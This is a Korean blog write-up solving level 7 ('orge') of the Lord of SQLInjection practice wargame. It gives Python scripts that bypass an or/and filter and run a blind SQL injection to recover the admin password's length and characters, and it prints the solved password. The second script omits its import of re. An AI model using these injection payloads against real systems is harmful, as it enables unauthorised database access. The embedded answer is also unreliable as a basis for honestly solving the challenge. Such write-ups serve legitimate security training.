#WarGame/Lord of SQLInjection

Lord of SQLInjection 7번 orge

Y0u_4re_s0_5weet 2021. 8. 7. 16:51
반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

 

Lord of SQLInjection 7번 orge

 

 

필터링은 or과 and가 걸려있고, pw를 검증하는 걸로 보아 정확한 pw를 찾아야 한다.

orc문제에서 or와 and를 우회해서 쓰면 된다.

 

 

pw 자릿수 구하기

import requests
import re

url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookies={"PHPSESSID":"세션"} 

for i in range(0,10):
    pay=f"?pw='|| id='admin'%26%26length(pw)={i};%23" #pw 길이 비교
    res=requests.get(url+pay,cookies=cookies)
    
    find = re.findall("Hello admin", res.text) # Hello admin 문자열 매칭
    
    if find:
        print("length:",i)
        length=i
        break

 

==> length: 8

 

 

pw 구하기

import requests

url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookies={"PHPSESSID":"세션"} 

pw=""
for i in range(1,9):
    for j in range(32,127):
        pay=f"?pw='||ascii(substring(pw,{i},1))={j};%23"
        res=requests.get(url+pay,cookies=cookies)
        find = re.findall("Hello admin", res.text)
    
        if find:
            pw+=chr(j)
            break
print("pw=",pw)

 

==> pw= 7b751aec

 

 

 

 

 

반응형